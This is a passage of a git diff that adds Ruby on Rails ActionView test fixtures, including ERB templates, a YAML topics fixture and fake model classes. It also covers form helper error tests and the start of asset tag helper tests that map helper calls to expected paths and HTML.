+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionview/test/fixtures/test/malformed/malformed.en.html.erb~ b/actionview/test/fixtures/test/malformed/malformed.en.html.erb~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionview/test/fixtures/test/malformed/malformed.en.html.erb~
@@ -0,0 +1 @@
+Don't render me!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/malformed/malformed.erb~ b/actionview/test/fixtures/test/malformed/malformed.erb~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionview/test/fixtures/test/malformed/malformed.erb~
@@ -0,0 +1 @@
+Don't render me!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/malformed/malformed.html.erb~ b/actionview/test/fixtures/test/malformed/malformed.html.erb~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionview/test/fixtures/test/malformed/malformed.html.erb~
@@ -0,0 +1 @@
+Don't render me!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/malformed/malformed~ b/actionview/test/fixtures/test/malformed/malformed~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionview/test/fixtures/test/malformed/malformed~
@@ -0,0 +1 @@
+Don't render me!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/nested_layout.erb b/actionview/test/fixtures/test/nested_layout.erb
new file mode 100644
index 0000000000..6078f74b4c
--- /dev/null
+++ b/actionview/test/fixtures/test/nested_layout.erb
@@ -0,0 +1,3 @@
+<% content_for :title, "title" -%>
+<% content_for :column do -%>column<% end -%>
+<%= render :layout => 'layouts/column' do -%>content<% end -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/nested_streaming.erb b/actionview/test/fixtures/test/nested_streaming.erb
new file mode 100644
index 0000000000..55525e0c92
--- /dev/null
+++ b/actionview/test/fixtures/test/nested_streaming.erb
@@ -0,0 +1,3 @@
+<%- content_for :header do -%>?<%- end -%>
+<%= render :template => "test/streaming" %>
+?
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/nil_return.erb b/actionview/test/fixtures/test/nil_return.erb
new file mode 100644
index 0000000000..90ce3881f6
--- /dev/null
+++ b/actionview/test/fixtures/test/nil_return.erb
@@ -0,0 +1 @@
+This is nil: <%== nil %>
diff --git a/actionview/test/fixtures/test/one.html.erb b/actionview/test/fixtures/test/one.html.erb
new file mode 100644
index 0000000000..0151874809
--- /dev/null
+++ b/actionview/test/fixtures/test/one.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/two" %> world
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_inspect_local_assigns.erb b/actionview/test/fixtures/test/render_file_inspect_local_assigns.erb
new file mode 100644
index 0000000000..aea5c351c5
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_inspect_local_assigns.erb
@@ -0,0 +1 @@
+<%= local_assigns.inspect.html_safe %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_instance_variable.erb b/actionview/test/fixtures/test/render_file_instance_variable.erb
new file mode 100644
index 0000000000..5344ac8a66
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_instance_variable.erb
@@ -0,0 +1 @@
+<%= @foo %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_unicode_local.erb b/actionview/test/fixtures/test/render_file_unicode_local.erb
new file mode 100644
index 0000000000..cbfd040a76
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_unicode_local.erb
@@ -0,0 +1 @@
+<%= 🎃 %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_with_ivar.erb b/actionview/test/fixtures/test/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/test/render_file_with_locals.erb b/actionview/test/fixtures/test/render_file_with_locals.erb
new file mode 100644
index 0000000000..ebe09faee6
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionview/test/fixtures/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000000..9b4900acc5
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_with_ruby_keyword_locals.erb b/actionview/test/fixtures/test/render_file_with_ruby_keyword_locals.erb
new file mode 100644
index 0000000000..7e3fe6c6d9
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_ruby_keyword_locals.erb
@@ -0,0 +1 @@
+The class is <%= local_assigns[:class] %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000000..1461b95186
--- /dev/null
+++ b/actionview/test/fixtures/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionview/test/fixtures/test/render_two_partials.html.erb b/actionview/test/fixtures/test/render_two_partials.html.erb
new file mode 100644
index 0000000000..3db6025860
--- /dev/null
+++ b/actionview/test/fixtures/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionview/test/fixtures/test/streaming.erb b/actionview/test/fixtures/test/streaming.erb
new file mode 100644
index 0000000000..fb9b8b1ade
--- /dev/null
+++ b/actionview/test/fixtures/test/streaming.erb
@@ -0,0 +1,3 @@
+<%- provide :header do -%>Yes, <%- end -%>
+this works
+<%- content_for :footer, " like a charm" -%>
diff --git a/actionview/test/fixtures/test/streaming_buster.erb b/actionview/test/fixtures/test/streaming_buster.erb
new file mode 100644
index 0000000000..4221d56dcc
--- /dev/null
+++ b/actionview/test/fixtures/test/streaming_buster.erb
@@ -0,0 +1,3 @@
+<%= yield :foo -%>
+This won't look
+<% provide :unknown, " good." -%>
diff --git a/actionview/test/fixtures/test/sub_template_raise.html.erb b/actionview/test/fixtures/test/sub_template_raise.html.erb
new file mode 100644
index 0000000000..f38c0bda90
--- /dev/null
+++ b/actionview/test/fixtures/test/sub_template_raise.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/raise" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/template.erb b/actionview/test/fixtures/test/template.erb
new file mode 100644
index 0000000000..785afa8f6a
--- /dev/null
+++ b/actionview/test/fixtures/test/template.erb
@@ -0,0 +1 @@
+<%= template.path %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/test_template_with_delegation_reserved_keywords.erb b/actionview/test/fixtures/test/test_template_with_delegation_reserved_keywords.erb
new file mode 100644
index 0000000000..edfe52e422
--- /dev/null
+++ b/actionview/test/fixtures/test/test_template_with_delegation_reserved_keywords.erb
@@ -0,0 +1 @@
+<%= _ %> <%= arg %> <%= args %> <%= block %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/update_element_with_capture.erb b/actionview/test/fixtures/test/update_element_with_capture.erb
new file mode 100644
index 0000000000..fa3ef200f9
--- /dev/null
+++ b/actionview/test/fixtures/test/update_element_with_capture.erb
@@ -0,0 +1,9 @@
+<% replacement_function = update_element_function("products", :action => :update) do %>
+  <p>Product 1</p>
+  <p>Product 2</p>
+<% end %>
+<%= javascript_tag(replacement_function) %>
+
+<% update_element_function("status", :action => :update, :binding => binding) do %>
+  <b>You bought something!</b>
+<% end %>
diff --git a/actionview/test/fixtures/test/utf8.html.erb b/actionview/test/fixtures/test/utf8.html.erb
new file mode 100644
index 0000000000..ac98c2f012
--- /dev/null
+++ b/actionview/test/fixtures/test/utf8.html.erb
@@ -0,0 +1,4 @@
+Русский <%= render :partial => 'test/utf8_partial' %>
+<%= "日".encoding %>
+<%= @output_buffer.encoding %>
+<%= __ENCODING__ %>
diff --git a/actionview/test/fixtures/test/utf8_magic.html.erb b/actionview/test/fixtures/test/utf8_magic.html.erb
new file mode 100644
index 0000000000..257279c29f
--- /dev/null
+++ b/actionview/test/fixtures/test/utf8_magic.html.erb
@@ -0,0 +1,5 @@
+<%# encoding: utf-8 -%>
+Русский <%= render :partial => 'test/utf8_partial_magic' %>
+<%= "日".encoding %>
+<%= @output_buffer.encoding %>
+<%= __ENCODING__ %>
diff --git a/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
new file mode 100644
index 0000000000..cb22692f9a
--- /dev/null
+++ b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
@@ -0,0 +1,5 @@
+<%# encoding: utf-8 -%>
+Русский <%= render :partial => 'test/utf8_partial' %>
+<%= "日".encoding %>
+<%= @output_buffer.encoding %>
+<%= __ENCODING__ %>
diff --git a/actionview/test/fixtures/topic.rb b/actionview/test/fixtures/topic.rb
new file mode 100644
index 0000000000..ff194ce567
--- /dev/null
+++ b/actionview/test/fixtures/topic.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Topic < ActiveRecord::Base
+  has_many :replies, dependent: :destroy
+end
diff --git a/actionview/test/fixtures/topics.yml b/actionview/test/fixtures/topics.yml
new file mode 100644
index 0000000000..7fdd49d54e
--- /dev/null
+++ b/actionview/test/fixtures/topics.yml
@@ -0,0 +1,22 @@
+futurama:
+  id: 1
+  title: Isnt futurama awesome?
+  subtitle: It really is, isnt it.
+  content: I like futurama
+  created_at: <%= 1.day.ago.to_s(:db) %>
+  updated_at:
+
+harvey_birdman:
+  id: 2
+  title: Harvey Birdman is the king of all men
+  subtitle: yup
+  content: It really is
+  created_at: <%= 2.hours.ago.to_s(:db) %>
+  updated_at:
+
+rails:
+  id: 3
+  title: Rails is nice
+  subtitle: It makes me happy
+  content: except when I have to hack internals to fix pagination. even then really.
+  created_at: <%= 20.minutes.ago.to_s(:db) %>
diff --git a/actionview/test/fixtures/topics/_topic.html.erb b/actionview/test/fixtures/topics/_topic.html.erb
new file mode 100644
index 0000000000..98659ca098
--- /dev/null
+++ b/actionview/test/fixtures/topics/_topic.html.erb
@@ -0,0 +1 @@
+<%= topic.title %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/translations/templates/array.erb b/actionview/test/fixtures/translations/templates/array.erb
new file mode 100644
index 0000000000..d86045a172
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/array.erb
@@ -0,0 +1 @@
+<%= t('.foo.bar') %>
diff --git a/actionview/test/fixtures/translations/templates/default.erb b/actionview/test/fixtures/translations/templates/default.erb
new file mode 100644
index 0000000000..8b70031071
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/default.erb
@@ -0,0 +1 @@
+<%= t('.missing', :default => :'.foo') %>
diff --git a/actionview/test/fixtures/translations/templates/found.erb b/actionview/test/fixtures/translations/templates/found.erb
new file mode 100644
index 0000000000..080c9c0aee
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/found.erb
@@ -0,0 +1 @@
+<%= t('.foo') %>
diff --git a/actionview/test/fixtures/translations/templates/missing.erb b/actionview/test/fixtures/translations/templates/missing.erb
new file mode 100644
index 0000000000..0f3f17f8ef
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/missing.erb
@@ -0,0 +1 @@
+<%= t('.missing') %>
diff --git a/actionview/test/fixtures/with_format.json.erb b/actionview/test/fixtures/with_format.json.erb
new file mode 100644
index 0000000000..a7f480ab1d
--- /dev/null
+++ b/actionview/test/fixtures/with_format.json.erb
@@ -0,0 +1 @@
+<%= render :partial => 'missing', :formats => [:json] %>
diff --git a/actionview/test/lib/controller/fake_models.rb b/actionview/test/lib/controller/fake_models.rb
new file mode 100644
index 0000000000..f8b7ddaecc
--- /dev/null
+++ b/actionview/test/lib/controller/fake_models.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require "active_model"
+
+Customer = Struct.new(:name, :id) do
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  undef_method :to_json
+
+  def to_xml(options = {})
+    if options[:builder]
+      options[:builder].name name
+    else
+      "<name>#{name}</name>"
+    end
+  end
+
+  def to_js(options = {})
+    "name: #{name.inspect}"
+  end
+  alias :to_text :to_js
+
+  def errors
+    []
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def cache_key
+    name.to_s
+  end
+end
+
+class BadCustomer < Customer; end
+class GoodCustomer < Customer; end
+
+Post = Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost) do
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  extend ActiveModel::Translation
+
+  alias_method :secret?, :secret
+  alias_method :persisted?, :persisted
+
+  def initialize(*args)
+    super
+    @persisted = false
+  end
+
+  attr_accessor :author
+  def author_attributes=(attributes); end
+
+  attr_accessor :comments, :comment_ids
+  def comments_attributes=(attributes); end
+
+  attr_accessor :tags
+  def tags_attributes=(attributes); end
+end
+
+class PostDelegator < Post
+  def to_model
+    PostDelegate.new
+  end
+end
+
+class PostDelegate < Post
+  def self.human_attribute_name(attribute)
+    "Delegate #{super}"
+  end
+
+  def model_name
+    ActiveModel::Name.new(self.class)
+  end
+end
+
+class Comment
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :post_id
+  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @post_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id && @id.to_s; end
+  def name
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+
+  attr_accessor :relevances
+  def relevances_attributes=(attributes); end
+
+  attr_accessor :body
+end
+
+class Tag
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :post_id
+  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @post_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id && @id.to_s; end
+  def value
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+
+  attr_accessor :relevances
+  def relevances_attributes=(attributes); end
+end
+
+class CommentRelevance
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :comment_id
+  def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @comment_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id && @id.to_s; end
+  def value
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+end
+
+class TagRelevance
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :tag_id
+  def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @tag_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id && @id.to_s; end
+  def value
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+end
+
+class Author < Comment
+  attr_accessor :post
+  def post_attributes=(attributes); end
+end
+
+class HashBackedAuthor < Hash
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  def persisted?; false; end
+
+  def name
+    "hash backed author"
+  end
+end
+
+module Blog
+  def self.use_relative_model_naming?
+    true
+  end
+
+  Post = Struct.new(:title, :id) do
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    def persisted?
+      id.present?
+    end
+  end
+end
+
+class ArelLike
+  def to_ary
+    true
+  end
+  def each
+    a = Array.new(2) { |id| Comment.new(id + 1) }
+    a.each { |i| yield i }
+  end
+end
+
+Car = Struct.new(:color)
+
+class Plane
+  attr_reader :to_key
+
+  def model_name
+    OpenStruct.new param_key: "airplane"
+  end
+
+  def save
+    @to_key = [1]
+  end
+end
diff --git a/actionview/test/template/active_model_helper_test.rb b/actionview/test/template/active_model_helper_test.rb
new file mode 100644
index 0000000000..a929d8dc3d
--- /dev/null
+++ b/actionview/test/template/active_model_helper_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ActiveModelHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::ActiveModelHelper
+
+  silence_warnings do
+    Post = Struct.new(:author_name, :body, :updated_at) do
+      include ActiveModel::Conversion
+      include ActiveModel::Validations
+
+      def persisted?
+        false
+      end
+    end
+  end
+
+  def setup
+    super
+
+    @post = Post.new
+    @post.errors[:author_name] << "can't be empty"
+    @post.errors[:body] << "foo"
+    @post.errors[:updated_at] << "bar"
+
+    @post.author_name = ""
+    @post.body        = "Back to the hill and over it again!"
+    @post.updated_at  = Date.new(2004, 6, 15)
+  end
+
+  def test_text_area_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea></div>),
+      text_area("post", "body")
+    )
+  end
+
+  def test_text_field_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" type="text" value="" /></div>),
+      text_field("post", "author_name")
+    )
+  end
+
+  def test_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="a">a</option>\n<option value="b">b</option></select></div>),
+      select("post", "author_name", [:a, :b])
+    )
+  end
+
+  def test_select_with_errors_and_blank_option
+    expected_dom = %(<div class="field_with_errors"><select name="post[author_name]" id="post_author_name"><option value="">Choose one...</option>\n<option value="a">a</option>\n<option value="b">b</option></select></div>)
+    assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], include_blank: "Choose one..."))
+    assert_dom_equal(expected_dom, select("post", "author_name", [:a, :b], prompt: "Choose one..."))
+  end
+
+  def test_date_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><select id="post_updated_at_1i" name="post[updated_at(1i)]">\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n</select>\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n</div>),
+      date_select("post", "updated_at", discard_month: true, discard_day: true, start_year: 2004, end_year: 2005)
+    )
+  end
+
+  def test_datetime_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="1" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
+      datetime_select("post", "updated_at", discard_year: true, discard_month: true, discard_day: true, minute_step: 60)
+    )
+  end
+
+  def test_time_select_with_errors
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="2004" />\n<input id="post_updated_at_2i" name="post[updated_at(2i)]" type="hidden" value="6" />\n<input id="post_updated_at_3i" name="post[updated_at(3i)]" type="hidden" value="15" />\n<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n<option selected="selected" value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n</select>\n : <select id="post_updated_at_5i" name="post[updated_at(5i)]">\n<option selected="selected" value="00">00</option>\n</select>\n</div>),
+      time_select("post", "updated_at", minute_step: 60)
+    )
+  end
+
+  def test_hidden_field_does_not_render_errors
+    assert_dom_equal(
+      %(<input id="post_author_name" name="post[author_name]" type="hidden" value="" />),
+      hidden_field("post", "author_name")
+    )
+  end
+
+  def test_field_error_proc
+    old_proc = ActionView::Base.field_error_proc
+    ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
+      raw(%(<div class=\"field_with_errors\">#{html_tag} <span class="error">#{[instance.error_message].join(', ')}</span></div>))
+    end
+
+    assert_dom_equal(
+      %(<div class="field_with_errors"><input id="post_author_name" name="post[author_name]" type="text" value="" /> <span class="error">can't be empty</span></div>),
+      text_field("post", "author_name")
+    )
+  ensure
+    ActionView::Base.field_error_proc = old_proc if old_proc
+  end
+end
diff --git a/actionview/test/template/asset_tag_helper_test.rb b/actionview/test/template/asset_tag_helper_test.rb
new file mode 100644
index 0000000000..4d312d3b6d
--- /dev/null
+++ b/actionview/test/template/asset_tag_helper_test.rb
@@ -0,0 +1,824 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/ordered_options"
+
+class AssetTagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::AssetTagHelper
+
+  attr_reader :request
+
+  def setup
+    super
+
+    @controller = BasicController.new
+
+    @request = Class.new do
+      attr_accessor :script_name
+      def protocol() "http://" end
+      def ssl?() false end
+      def host_with_port() "localhost" end
+      def base_url() "http://www.example.com" end
+    end.new
+
+    @controller.request = @request
+  end
+
+  def url_for(*args)
+    "http://www.example.com"
+  end
+
+  AssetPathToTag = {
+    %(asset_path(""))             => %(),
+    %(asset_path("   "))          => %(),
+    %(asset_path("foo"))          => %(/foo),
+    %(asset_path("style.css"))    => %(/style.css),
+    %(asset_path("xmlhr.js"))     => %(/xmlhr.js),
+    %(asset_path("xml.png"))      => %(/xml.png),
+    %(asset_path("dir/xml.png"))  => %(/dir/xml.png),
+    %(asset_path("/dir/xml.png")) => %(/dir/xml.png),
+
+    %(asset_path("script.min"))       => %(/script.min),
+    %(asset_path("script.min.js"))    => %(/script.min.js),
+    %(asset_path("style.min"))        => %(/style.min),
+    %(asset_path("style.min.css"))    => %(/style.min.css),
+
+    %(asset_path("http://www.outside.com/image.jpg")) => %(http://www.outside.com/image.jpg),
+    %(asset_path("HTTP://www.outside.com/image.jpg")) => %(HTTP://www.outside.com/image.jpg),
+
+    %(asset_path("style", type: :stylesheet)) => %(/stylesheets/style.css),
+    %(asset_path("xmlhr", type: :javascript)) => %(/javascripts/xmlhr.js),
+    %(asset_path("xml.png", type: :image))    => %(/images/xml.png)
+  }
+
+  AutoDiscoveryToTag = {
+    %(auto_discovery_link_tag) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss)) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:atom)) => %(<link href="http://www.example.com" rel="alternate" title="ATOM" type="application/atom+xml" />),
+    %(auto_discovery_link_tag(:json)) => %(<link href="http://www.example.com" rel="alternate" title="JSON" type="application/json" />),
+    %(auto_discovery_link_tag(:rss, :action => "feed")) => %(<link href="http://www.example.com" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, "http://localhost/feed")) => %(<link href="http://localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, "//localhost/feed")) => %(<link href="//localhost/feed" rel="alternate" title="RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="application/rss+xml" />),
+    %(auto_discovery_link_tag(nil, {}, {:type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="" type="text/html" />),
+    %(auto_discovery_link_tag(nil, {}, {:title => "No stream.. really", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="No stream.. really" type="text/html" />),
+    %(auto_discovery_link_tag(:rss, {}, {:title => "My RSS", :type => "text/html"})) => %(<link href="http://www.example.com" rel="alternate" title="My RSS" type="text/html" />),
+    %(auto_discovery_link_tag(:atom, {}, {:rel => "Not so alternate"})) => %(<link href="http://www.example.com" rel="Not so alternate" title="ATOM" type="application/atom+xml" />),
+  }
+
+  JavascriptPathToTag = {
+    %(javascript_path("xmlhr")) => %(/javascripts/xmlhr.js),
+    %(javascript_path("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+    %(javascript_path("/super/xmlhr.js")) => %(/super/xmlhr.js),
+    %(javascript_path("xmlhr.min")) => %(/javascripts/xmlhr.min.js),
+    %(javascript_path("xmlhr.min.js")) => %(/javascripts/xmlhr.min.js),
+
+    %(javascript_path("xmlhr.js?123")) => %(/javascripts/xmlhr.js?123),
+    %(javascript_path("xmlhr.js?body=1")) => %(/javascripts/xmlhr.js?body=1),
+    %(javascript_path("xmlhr.js#hash")) => %(/javascripts/xmlhr.js#hash),
+    %(javascript_path("xmlhr.js?123#hash")) => %(/javascripts/xmlhr.js?123#hash)
+  }
+
+  PathToJavascriptToTag = {
+    %(path_to_javascript("xmlhr")) => %(/javascripts/xmlhr.js),
+    %(path_to_javascript("super/xmlhr")) => %(/javascripts/super/xmlhr.js),
+    %(path_to_javascript("/super/xmlhr.js")) => %(/super/xmlhr.js)
+  }
+
+  JavascriptUrlToTag = {
+    %(javascript_url("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+    %(javascript_url("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+    %(javascript_url("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+  }
+
+  UrlToJavascriptToTag = {
+    %(url_to_javascript("xmlhr")) => %(http://www.example.com/javascripts/xmlhr.js),
+    %(url_to_javascript("super/xmlhr")) => %(http://www.example.com/javascripts/super/xmlhr.js),
+    %(url_to_javascript("/super/xmlhr.js")) => %(http://www.example.com/super/xmlhr.js)
+  }
+
+  JavascriptIncludeToTag = {
+    %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank", :host => "assets.example.com")) => %(<script src="http://assets.example.com/javascripts/bank.js"></script>),
+
+    %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
+    %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
+    %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
+  }
+
+  StylePathToTag = {
+    %(stylesheet_path("bank")) => %(/stylesheets/bank.css),
+    %(stylesheet_path("bank.css")) => %(/stylesheets/bank.css),
+    %(stylesheet_path('subdir/subdir')) => %(/stylesheets/subdir/subdir.css),
+    %(stylesheet_path('/subdir/subdir.css')) => %(/subdir/subdir.css),
+    %(stylesheet_path("style.min")) => %(/stylesheets/style.min.css),
+    %(stylesheet_path("style.min.css")) => %(/stylesheets/style.min.css)
+  }
+
+  PathToStyleToTag = {
+    %(path_to_stylesheet("style")) => %(/stylesheets/style.css),
+    %(path_to_stylesheet("style.css")) => %(/stylesheets/style.css),
+    %(path_to_stylesheet('dir/file')) => %(/stylesheets/dir/file.css),
+    %(path_to_stylesheet('/dir/file.rcss', :extname => false)) => %(/dir/file.rcss),
+    %(path_to_stylesheet('/dir/file', :extname => '.rcss')) => %(/dir/file.rcss)
+  }
+
+  StyleUrlToTag = {
+    %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
+    %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
+    %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
+    %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
+  }
+
+  UrlToStyleToTag = {
+    %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
+    %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
+    %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
+    %(url_to_stylesheet('/dir/file.rcss', :extname => false)) => %(http://www.example.com/dir/file.rcss),
+    %(url_to_stylesheet('/dir/file', :extname => '.rcss')) => %(http://www.example.com/dir/file.rcss)
+  }
+
+  StyleLinkToTag = {
+    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
